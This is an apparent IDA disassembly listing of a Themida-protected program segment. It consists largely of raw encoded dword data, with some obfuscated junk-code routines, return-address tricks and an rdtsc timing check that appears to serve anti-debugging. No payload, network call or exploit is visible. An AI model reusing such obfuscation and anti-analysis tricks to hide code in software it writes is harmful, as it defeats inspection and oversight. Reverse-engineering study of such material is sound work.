		dd 0AD9032D3h, 16436E55h, 494A65B3h, 850FE5D0h,	0Fh, 0AE9h
		dd 670FC100h, 75F19633h, 5F41FBD6h, 1C19589h, 0DB0B060Fh
		dd 0DB850Fh, 0C6810000h, 0F121336h, 0FE8ABD83h,	0F000612h
		dd 6384h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 3C71A12Bh, 0B58B2E92h, 60F0551h
		dd 33ADB589h, 0ABE9060Fh, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 6F15C351h
		dd 0FA5B4B54h, 0CAE2798Bh, 0D859589h, 0BD09060Fh, 60F312Dh
		dd 0FE8A85C7h, 10612h, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 0E809C6C3h, 0Ah, 0A82B8E28h
		dd 0D001F686h, 0B509EDEDh, 60F2AC9h, 0F88B665Eh, 34E9F9h
		dd 14E90000h, 47000000h, 1201288Eh, 42FC67B2h, 0BAFDA66Dh
		dd 0C0A080C5h, 8B810E9Ch, 0F2EFDBDh, 8A85C706h,	612FEh
		dd 0BE000000h, 26152071h, 11E6D781h, 9D8D3669h,	60F34C1h
		dd 8BF8B70Fh, 0FF2381F3h, 0BFFFFFEh, 0F1481BDh,	0DB8C6606h
		dd 16E58501h, 0C3F6060Fh, 20840F04h, 31000000h,	0F19D5B5h
		dd 4DBD8B06h, 0FF060F25h, 0F344995h, 0F4806006h, 7B96678h
		dd 50906114h, 0E990F18Bh, 35Fh,	800F00B0h, 6, 12258D89h
		dd 70E6060Fh, 0B60F71E4h, 558D01D8h, 0BA060F24h, 6, 6AC38Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 757BA0C3h, 99BD8B98h, 0C1060F26h, 6A04E8h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0AB48C3C3h
		dd 314FB320h, 8BBC7E9Ah, 0F1851BDh, 0E2F76606h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 77C35040h, 9589E8E2h
		dd 60F2399h, 9D89D82Bh,	60F0815h, 0F525050h, 27BF6631h
		dd 89585A91h, 7E9241Ch,	0E2000000h, 0CD927595h,	8B50D45Bh
		dd 0F1CADB5h, 0B5FF5F06h, 60F00FDh, 32BD8589h, 95FF060Fh
		dd 60F3451h, 3255BD8Bh,	0B0060Fh, 6A70E6h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 224B3DC3h
		dd 0C139D3BEh, 8FBF226Bh, 0E4401337h, 57006A71h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 0DBD2F207h, 17AF930h, 0F3021BDh, 0F613C06h, 22283h
		dd 958D8900h, 0F060F28h, 6AD8B6h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 0DCB35FC3h, 98ECBB9Ah
		dd 665F574Bh, 0BA2FD9BFh, 6, 1261B509h,	0C38B060Fh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 11C35242h, 0F28B6607h
		dd 8904E8C1h, 0F3461B5h, 0E2F76606h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 0ACC35545h,	0FE4AE8B7h, 2BA342A2h
		dd 4745BFD8h, 89585CEBh, 0F0FF195h, 0FD82B06h, 17E88h
		dd 7B900h, 6E80000h, 0C1000000h, 6C661343h, 0F98B66CBh
		dd 0C1835Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	0C4C35545h, 22C58D89h, 3BF8060Fh, 3C860FD9h, 6A000001h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 1BFAC353h, 8C0FA242h, 0Ch, 7E9h, 26865800h
		dd 940DE7D2h, 8C66FA8Bh, 918589D9h, 0F6060F0Fh,	840F04C1h
		dd 0B8h, 0DAA471BEh, 4995FF4Fh,	5B060F34h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 58C35040h, 0A0B7F46Dh
		dd 2BE36291h, 52006AC3h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 2C31A9D6h, 0B97A994h, 33D7A9BFh
		dd 343DFC4Ah, 0F000008h, 5386h,	0B9BD8B00h, 0E8060F18h
		dd 13h,	0EA88A4EFh, 0C087C210h,	0B0CDF93Dh, 6CDCCDEDh
		dd 60817EF9h, 89C28B66h, 0F2D51BDh, 0E95F6106h,	63h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 71C35646h, 5221D290h
		dd 5FF0BF0Fh, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 0F9FA91C3h, 10D8529h, 8960060Fh
		dd 0F26A18Dh, 0CE906h, 72AD0000h, 12264681h, 0DCF065D1h
		dd 8B61BCA1h, 6AD88BC3h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 33B0C355h, 0B02BB609h
		dd 0F3AB695Bh, 6BC1BF66h, 85C7FB8Bh, 60F2551h, 7C57491Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0ABC35646h
		dd 0A4AA95E9h, 0E8C78C25h, 0Ah,	0D0FB17E0h, 7A8F87C7h
		dd 0E7815998h, 82AD092h, 6AC08B5Eh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0E866C352h
		dd 0BD8123D3h, 60F00FDh, 7D0h, 69850Fh,	8D890000h, 60F219Dh
		dd 26890Fh, 0EE80000h, 5A000000h, 0B0FFF05Eh, 921A22CFh
		dd 2C2221ECh, 0DE91Fh, 44C00000h, 0A2BEE31Ch, 2CA78A82h
		dd 5FEBC332h, 0FD85FFh,	12E8060Fh, 9F000000h, 43209B4Ah
		dd 92795B20h, 0FEC60849h, 3611CE06h, 14E97Ch, 80BD0000h
		dd 519AA68h, 6E119693h,	0EDC05747h, 0DE72981Dh,	0FF5FDE2Eh
		dd 0F00FDB5h, 35B50B06h, 0FF060F13h, 0F345195h,	37C78106h
		dd 90716D78h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 18h,	0A2C35747h, 0B22AA04Ah,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 8C35646h, 0CE06FEC6h, 237C3611h
		dd 0F1389B5h, 24BE6606h, 0F0B70FCDh, 0FA8BFA8Bh, 29D58D89h
		dd 0BF0F060Fh, 6AF9FAh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 8BF5F1C3h, 0F3211B5h, 0E6816606h
		dd 0BD8B9C91h, 60F19D9h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0D5C35141h, 4560BCBEh, 0E9608ECCh, 0Ch
		dd 0D1F2F4C2h, 9BD655C5h, 0B27C78ECh, 0EEC8BF66h, 14E9CE8Bh
		dd 72000000h, 2196A35Bh, 0AAA0CAA4h, 0BEAB4E81h, 8FA84A3Ah
		dd 610655F5h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 19h,	3AC35343h, 0DD752E77h, 0BD29601Ah, 60F3205h, 2817B9BFh
		dd 7E84Fh, 0AA250000h, 0E6DCBF94h, 81B58B95h, 0E9060F21h
		dd 0Ch,	0B5CB7F48h, 0D7E21451h,	5F4F2183h, 25E96159h, 66FFFFF8h
		dd 5BB3E681h, 10E9h, 0A5918D00h, 1B051D9h, 0EF721BCAh
		dd 999B498h, 6AC18BACh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 1515C350h, 45BE3C3Dh, 0CD93AA9Ah,	11E9h
		dd 5B757400h, 5CEFF6FCh, 0FF1DAAC4h, 7EF4AE47h,	4EB2F56h
		dd 0
; ---------------------------------------------------------------------------
		call	sub_58B7AF
		imul	edi, [ebp+8809DFAh], 53E9C147h

; =============== S U B	R O U T	I N E =======================================



sub_58B7AF	proc near		; CODE XREF: Themida_:0058B7A0p
		pop	edi
		push	esi
		mov	[ebp+60F0B05h],	esi
		pop	edi
		lea	eax, [ebp+60F1461h]
		push	0
		push	esi
		call	sub_58B7C9
		and	[esi-3Dh], bl
sub_58B7AF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_58B7C9	proc near		; CODE XREF: sub_58B7AF+12p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_58B7C9	endp

; ---------------------------------------------------------------------------
		inc	ebx
		xor	[ecx], dl
		mov	si, 76D5h
		nop
		push	eax
		push	edx
		jmp	loc_58B7EE
; ---------------------------------------------------------------------------
		dd 0C88FC553h
		db 6, 0E0h
; ---------------------------------------------------------------------------


loc_58B7EE:				; CODE XREF: Themida_:0058B7E3j
		rdtsc
		jnb	loc_58B7F8
		pusha
		popa


loc_58B7F8:				; CODE XREF: Themida_:0058B7F0j
		pop	edx
		pop	eax
		push	eax
		mov	di, 0AEB6h
		nop
		push	0
		push	edi
		call	sub_58B80B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58B80B	proc near		; CODE XREF: Themida_:0058B803p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_58B80B	endp

; ---------------------------------------------------------------------------
		db 2Ah
		dd 0F20C8D9h, 0FE9FEBFh, 29000000h, 164BFACh, 0EBB6C36h
		dd 1297AA26h, 8B6064F8h, 6A61F8DEh, 0CD858900h,	6A060F18h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 48625408h, 0B52BB9F0h, 60F2315h,	0AEE858Dh
		dd 8B0F0613h, 8, 49B58B53h, 5E060F16h, 0EE9h, 45C10B00h
		dd 8779D693h, 0F2541841h, 8348AF71h, 6A05C0h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 3F0A33C3h
		dd 0A5408164h, 0F38B6642h, 48950FCh, 50006A24h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 0C9BD8BC1h
		dd 6A060F31h, 68E0F00h,	89000000h, 0F291DB5h, 0F006A06h
		dd 286h, 0FF5F5300h, 0F348D95h,	53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 59DC088Fh
		dd 40CD0988h, 0EE9h, 0E0CB8C00h, 3509004Dh, 754E03F5h
		dd 8DD707FDh, 12985E9Dh, 7E906h, 264F0000h, 881C7B99h
		dd 6AD3FF92h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0EEDDC357h, 4864A829h,	0CEF08732h
		dd 36C78166h, 5985FF50h, 6A060F24h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 9F6AC352h
		dd 0E9B0B461h, 0Fh, 0C78002FEh,	0C57F02F7h, 60CB0C33h
		dd 66E6CABAh, 0B58BFB8Bh, 60F1CC9h, 7A5E9h, 0E800h, 815D0000h
		dd 130AF8EDh, 65BD8B06h, 81060F14h, 0F00FDBDh, 7D006h
		dd 25860F00h, 6A000001h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0FC70C353h,	8D508A35h
		dd 9D8BAA08h, 60F2FF9h,	19A9B523h, 0E381060Fh, 100h, 890Fh
		dd 0DB0B0000h, 83850Fh,	6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 0AF2EFC3h, 2B5B7A78h
		dd 7E9F8h, 0CEC10000h, 0AF147CDAh, 0D2BD8375h, 61308h
		dd 38840Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 156413C3h, 0CE4A5836h, 0FFA750Dh
		dd 682h, 0E9BD8900h, 0E9060F0Fh, 44h, 85C7F88Bh, 61308D2h
		dd 1, 33E9h, 0D285C700h, 61308h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0DCF6C350h
		dd 6BDE798Fh, 3289A5C1h, 5851BE66h, 2FF99D8Dh, 2381060Fh
		dd 0FFFFFEFFh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	85C35040h, 0F28BF949h, 6ADB8C66h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 41EAC351h
		dd 8B666065h, 4C3F6F9h,	3F840Fh, 95FF0000h, 60F3449h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 6AC35242h, 435200B0h
		dd 31F9891Ah, 880F501Ch, 4, 1AF5BE66h, 8B240489h, 0F3211BDh
		dd 3CFE906h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 1A24DAC3h, 105BD8Bh, 0B0060Fh, 0FE8h
		dd 93BF3100h, 0CAB4F3B0h, 42704D50h, 487DC659h,	0E65FF18Bh
		dd 57006A70h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0E58D891Bh, 0E4060F08h, 0F6816671h, 0AE97D3Ch
		dd 17000000h, 0CD7E8D96h, 1A3BC6Fh, 0D8B60FFBh,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 57C35040h, 9E94105h
		dd 0D8000000h, 0C09B2ABBh, 3A1A7A01h, 6BAh, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 5AF32EEDh, 579D3BF0h, 8166B9B6h, 8B9BAFE7h, 56006AC3h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 22B05C1Bh, 0D4106CA5h, 0DDBD8B04h, 89060F0Dh, 0F1EB595h
		dd 4E8C106h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	0F9C35242h, 0A8BACE61h,	0E2F766DFh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0AFC35646h, 93D9B773h
		dd 0AFDF09EAh, 68F0Fh, 0B58B0000h, 60F1005h, 6AD82Bh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0D9858CC3h, 977F4471h, 0BD8D8991h, 89060F30h, 0F0195BDh
		dd 0DEBE9306h, 5044A53Fh, 95C1BABEh, 6A930Eh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0FF42A6C3h
		dd 0B52B66D2h, 60F1975h, 0FDB5FFh, 0E781060Fh, 7BE40C37h
		dd 345195FFh, 6A060Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 6F0B8FC3h, 63943E6Ah, 1CF99529h
		dd 0F850060Fh, 6A00B05Fh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 76B3C352h, 0E281F606h
		dd 9E87C02h, 35000000h,	4BD64502h, 2BFB300Dh, 131BD23h
		dd 0E65F060Fh, 33F68170h, 0E47CE26Eh, 59B58B71h, 3C060F14h
		dd 7E830F61h, 6A000001h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 49A9C356h, 60021E75h
		dd 0D8B60F4Bh, 6BAh, 0FAB70F00h, 5F56C38Bh, 6A04E8C1h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 0DE3AC356h, 4A22BFE6h, 0F7667853h, 0CE8166E2h
		dd 0D82BACA3h, 8E9h, 5E790F00h,	30E6D155h, 0D82B589Ah
		dd 107880Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0FB4D6C3h, 9D89F110h, 60F1659h
		dd 7B9h, 0EE900h, 7ABD0000h, 8214B1AEh,	6D567C7Ch, 0EDD4172h
		dd 0E800C183h, 7, 0DD5F65F6h, 5F2286CCh, 860FD93Bh, 0B1h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 79C35343h
		dd 666117D6h, 8C66FE8Bh, 52006AD9h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 0DB59E1C8h, 8BC53FB1h
		dd 4C1F6FBh, 51840Fh, 12E90000h, 41000000h, 170E1AF6h
		dd 0D41A14C9h, 827802C6h, 0F08174F8h, 4995FFF8h, 8B060F34h
		dd 0F1055B5h, 2DBD8B06h, 5B060F2Dh, 7CC68166h, 29C32B07h
		dd 0F28619Dh, 8343D06h,	860F0000h, 0Fh,	3880Fh,	0B70F0000h
		dd 0FE9F3h, 8BF80000h, 25B529C0h, 8B060F17h, 0F29B9BDh
		dd 8BC38B06h, 6820FD8h,	89000000h, 0F1A418Dh, 0C185C706h
		dd 0B9060F34h, 0E95BD4FFh, 13h,	0BE7F5584h, 7CD448A6h
		dd 8267384Eh, 0E6EFE05Dh, 8B199376h, 0BD81F5C0h, 60F00FDh
		dd 7D0h, 4F850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 0E8AF3C3h, 13852E07h
		dd 0FD85FFh, 6A060Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 0F880ADC3h, 8B1F0462h, 0F0029BDh
		dd 0FDB5FF06h, 6A060F00h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 0D6E7C350h,	95FF2245h
		dd 60F3451h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh
		dd 0EBC35646h, 0FB25ADE0h, 42DAACCEh, 0F90F92Bh, 185h
		dd 0BE66FC00h, 8D2929ECh, 60F079Dh, 13E8h, 0C083A800h
		dd 0F8307459h, 0B2855732h, 0C6DBB8B0h, 0C63F9C1Fh, 1A6DB50Bh
		dd 6A5E060Fh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 16AC356h, 0C6D0D4FCh, 58D8976h
		dd 0F060F12h, 0A80h, 0D7816600h, 81660D9Fh, 0F204BEEh
		dd 6AFBB7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0F8600CC3h, 0B2F3F580h, 0EE86113h, 82000000h
		dd 0E55012FFh, 0D4D2F5FAh, 8722CA5Eh, 11BD8B60h, 89060F11h
		dd 0F11B98Dh, 6A5F06h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 0B500C9C3h, 58E0FF8h, 52000000h
		dd 5FFB8B66h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 18h,	95C35646h, 9BFB40F7h, 49B58B50h, 5F060F27h, 0FFF88CE9h
		dd 57006AFFh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 0D014EFFEh, 0EE2E6E86h, 0BD8B3EF4h, 60F13F1h
		dd 1B6DB531h, 34E9060Fh, 9E000000h, 6619A2h, 0Bh dup(0)
		dd 0E9000000h, 5D7h, 0E0F55029h, 708598BDh, 3180B4Dh, 94A9B4E0h
		dd 293E1971h, 92E67608h, 0E87FA2B7h, 4215384Dh,	0D1A7CADFh
		dd 0E5926176h, 0F13BC334h, 5C756C66h, 9C5B0C49h, 936D044Dh
		dd 243A5DDEh, 0FBE04313h, 892C1146h, 1E4156F1h,	6508ED48h
		dd 0A4472C0Fh, 1B896EF1h, 542AB9C6h, 9EB9DCF1h,	84B6E83h
		dd 6EABE815h, 44E3ABDh,	9F40F56Dh, 6D044E58h, 8549D480h
		dd 0C76A4FD0h, 2C6895B0h, 2BA4C919h, 0C730E103h, 706D03E5h
		dd 200586BBh, 0B6355227h, 5EC1949Dh, 9BF11429h,	40BADBC0h
		dd 0EE6D03E6h, 0B7F3CA99h, 8BD91750h, 15C69218h, 0D148534Dh
		dd 0EA2E1B9Ch, 834C0F53h, 7Eh, 0DD401346h, 3D53535Ch, 0BCF1542Ch
		dd 4E47B6D7h, 2EEB6D04h, 0E0C558FBh, 0AA4DFE2Bh, 856D044Dh
		dd 0FD8A4FD0h, 0FF5F424h, 1794Ch, 53600000h, 0B5F21F02h
		dd 44DF304h, 6873C6Dh, 4CD77E21h, 8D90C467h, 86E53AA8h
		dd 0A651023Fh, 916D044Dh, 30EDB0DCh, 0AE17B0C8h, 0E04B0A2Dh
		dd 3D8C82Fh, 85BA6F6Dh,	1C374D70h, 0D3B893E9h, 0D97A7D1Eh
		dd 0CB4D6D03h, 0B545523Ah, 154AFFC3h, 3F53F700h, 0EEA75F25h
		dd 0AEC23C62h, 3C21568Bh, 3461FC99h, 4795E0F8h,	1640A72Eh
		dd 3C71260Bh, 4A995E0Fh, 0E99E6D04h, 0B7E08368h, 4E24C7ACh
		dd 7BC006EBh, 0ACB7DFECh, 17DD12C7h, 2236B5D2h,	0B9CFF207h
		dd 7C16B99Eh, 589DFCE1h, 0F036F20Bh, 0B6574C0Fh, 1A000000h
		dd 0CCB1ACE7h, 0EF8A6820h, 136B4F6h, 2AABB6DEh,	7F164921h
		dd 284063E4h, 0D5ADE00Dh, 0ACD88D72h, 4FFB430h,	9E8304B9h
		dd 80D859FBh, 1D8B70A5h, 0AA912460h, 5167F3Ch, 23A0BF84h
		dd 52CF54Fh, 336FE301h,	0A4C7FC5Fh, 0D2876CCFh,	285B889Dh
		dd 620EF36Eh, 99D6676h,	0D5568B51h, 0C98DDEB2h,	87BC7156h
		dd 0CC57FFA2h, 244388E7h, 0F454BDDh, 21D20F4Ch,	6D03A9D6h
		dd 76E6B561h, 0B49DB4C7h, 59E2FE7Fh, 0C9000000h, 371C3F53h
		dd 6C114D8Ah, 0F0F9094Ch, 41DDA7Bh, 22AA6D04h, 468FF192h
		dd 1F36D99Dh, 356A1F04h, 5BC691B4h, 7A09DE76h, 1D32156Dh
		dd 1F025314h, 4DE1193Ah, 9DF56D04h, 7728D5BAh, 6D044E80h
		dd 89DF02B7h, 5C31C9AEh, 8CE1AE0Fh, 0F5F226FFh,	17B4C0Fh
		dd 62000000h, 391E0153h, 3865C096h, 9FDF70FCh, 0AF151E7Ch
		dd 6609353Dh, 8065E642h, 0CD5B287h, 65D91ECFh, 0A95E6D03h
		dd 0D0530528h, 28AAEFBBh, 97B2C8FBh, 0E07B0FB2h, 901146FBh
		dd 5F54B263h, 26DB6B0Ah, 6DC89E41h, 0D3760D40h,	6D02F5A6h
		dd 782D66F4h, 0A9BFE2F7h, 582E618Eh, 76977CFDh,	66F46D87h
		dd 381D0055h, 1B71C295h, 71A65B40h, 0DFAC818Ch,	7211E6FEh
		dd 273C1F75h, 0E6CB6E04h, 250A2D43h, 0BEF632DFh, 0F1546586h
		dd 0DDAA6FF0h, 0B0DD780Eh, 0C344E77Dh, 44E81AEh, 0FE7F3419h
		dd 0FFF70711h, 1866445h, 494B0000h, 4D9C5B0Ch, 0DE936D04h
		dd 0CA08915Dh, 0FE92619Dh, 4FB7C9BBh, 26F0A1CEh, 0A86B0B23h
		dd 0D2104C6Ch, 0F4A3D621h, 80AC6166h, 0AA5BCBB1h, 66F4ED4Dh
		dd 0CBF82DE2h, 0F4ECDD1Ah, 1C9D5266h, 1BBEA358h, 0BEA1F445h
		dd 0DAEF24D9h, 0A186A1B7h, 0E8CD68FEh, 0C10E5DA2h, 6FF2A2ABh
		dd 86DA0D3Ah, 200D22A3h, 460094F8h, 5975h, 0F1AA5C00h
		dd 0D781B4E1h, 0ED9ECB4Ch, 12FBB0EAh, 10E79845h, 27ED044Fh
		dd 0E3A13A7Bh, 0F0257B1Fh, 9F528EBBh, 0BE41AEE4h, 55EACAD8h
		dd 0F025661Fh, 8E698A6Fh, 0E2ED0491h, 3F2272A5h, 0B46AF9BEh
		dd 0DBEEBE7h, 92FBF4CAh, 2E380BCh, 5111D32Ah, 42570CD0h
		dd 0C365h, 0EFAACC00h, 8ABFA2F5h, 457EAC5Dh, 1D506B0Bh
		dd 5300E578h, 0F54355A2h, 0F025DA66h, 11F6AB6Fh, 103D186Eh
		dd 0BFA487DDh, 5174890Ah, 0D5E323Bh, 699ED376h,	0E99AD784h
		dd 66F5430Eh, 42E80FC0h, 9A4F66F5h, 0FFA021D6h,	66F542F1h
		dd 0AE938EC9h, 0EDD2750Bh, 7C5D2A7Fh, 0A1F42764h, 0EB783DBEh
		dd 13E495D2h, 0B366F543h, 0F542F502h, 0C1853A66h, 12688B0Ch
		dd 0B9F52237h, 74BA94D3h, 4FB11BB4h, 0D4892B57h, 0D7C28E0Fh
		dd 711DCEFBh, 0EC650765h, 0D9AF5237h, 755AC590h, 0B99E81D2h
		dd 0B59ACF04h, 0A298E7BCh, 0FDAEDBF7h, 6AFA7791h, 82752663h
		dd 0AD66F457h, 0FEB377F8h, 14E394D1h, 1B66F458h, 0C7D0E566h
		dd 0B6E3EFAAh, 175B8905h, 2A0FC46Bh, 4156F187h,	8ED481Eh
		dd 0FBE284E7h, 57348906h, 3CD3528Eh, 2ED1285Ah,	51F48AADh
		dd 0BF9AF124h, 7006293Eh, 643F0D5h, 0EB22A255h,	0F3CA2506h
		dd 0D3CE3583h, 0B6D95A0Fh, 0FB9E839Eh, 39DCC164h, 8B230823h
		dd 8F08A9B6h, 481EADBAh, 0DFB5D8EDh, 61124F7Ch,	6EA7196h
		dd 866BECA1h, 329h, 0CED79000h,	361B3E53h, 755AFD93h, 0B99E81D2h
		dd 1E64116h, 4A2F0A5Eh,	9378D3A7h, 0D4B9A4F0h, 17FC6731h
		dd 593E2174h, 4EC83F7h,	89241C89h, 4C381E3h, 83000000h
		dd 1C8704EBh, 89525C24h, 4C281E2h, 81000000h, 4EAh, 24148700h
		dd 2404895Ch, 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h
		dd 68562434h, 0A91FECh,	0DEF7465Eh, 0F2C5F681h,	8156F945h
		dd 2303242Ch, 558456Bh,	456B2303h, 5945685Eh, 24890000h
		dd 24048324h, 0B9515E04h, 8, 3CF6C181h,	0F1016690h, 3CF6E981h
		dd 1896690h, 2434FF59h,	4C4835Eh, 582434FFh, 4C481h, 1BE90000h
		dd 54FFFC66h, 0A6D87971h, 0DC9593B2h, 0B8402654h, 6131807h
		dd 0E0FFC503h, 121382A2h, 1AA510CFh, 280EC284h,	7311A1E4h
		dd 797D4326h, 3B4ABB50h, 62D90029h, 60ADBEAAh, 74C4B740h
		dd 13688D74h, 38403C29h, 43E1F2E6h, 5C473318h, 7DAA42C3h
		dd 6AC18Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 0FB55A8C3h, 2C599509h, 4EB060Fh, 0
; ---------------------------------------------------------------------------
		mov	esi, [ebp+60F3335h]
		push	edi
		mov	di, 0C757h
		pop	edi
		lea	eax, [ebp+60F1461h]
		nop
		mov	edi, 33AAA80h
		push	eax
		jmp	loc_58C80C
; ---------------------------------------------------------------------------
		dec	esi
		db	67h
		dec	eax
		pop	edi
		xchg	al, [ebx+59EFB906h]


loc_58C80C:				; CODE XREF: Themida_:0058C7FDj
		nop
		push	0
		push	eax
		call	sub_58C818
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58C818	proc near		; CODE XREF: Themida_:0058C810p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_58C818	endp

; ---------------------------------------------------------------------------
		pushf
		das
		pop	esp
		add	al, 0E1h
		cmp	eax, 0FA8BEE90h
		push	0
		sbb	di, 5B0Bh
		push	0
		push	0
		push	eax
		call	sub_58C846
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58C846	proc near		; CODE XREF: Themida_:0058C83Ep

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_58C846	endp

; ---------------------------------------------------------------------------
		dw 0DEB8h
; ---------------------------------------------------------------------------
		adc	al, 0F1h
		jmp	short loc_58C89C
; ---------------------------------------------------------------------------
		dd 20AA096Fh, 858DFB8Bh, 6131A6Eh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 38C35343h, 0D5926D76h, 3825D80Eh
		dd 89852984h, 83060F00h, 0AFBF05C0h, 5029FA8Fh
; ---------------------------------------------------------------------------


loc_58C89C:				; CODE XREF: Themida_:0058C85Aj
		mov	[esp], eax
		mov	esi, [ebp+60F12E9h]
		push	0
		push	0
		mov	[ebp+60F2D25h],	esi
		call	dword ptr [ebp+60F348Dh]
		push	0
		push	ebp
		call	sub_58C8C0
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58C8C0	proc near		; CODE XREF: Themida_:0058C8B8p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_58C8C0	endp

; ---------------------------------------------------------------------------
		dd 0E3E1F264h, 54EECEEDh, 0E5B58978h, 8D060F33h, 12985E9Dh
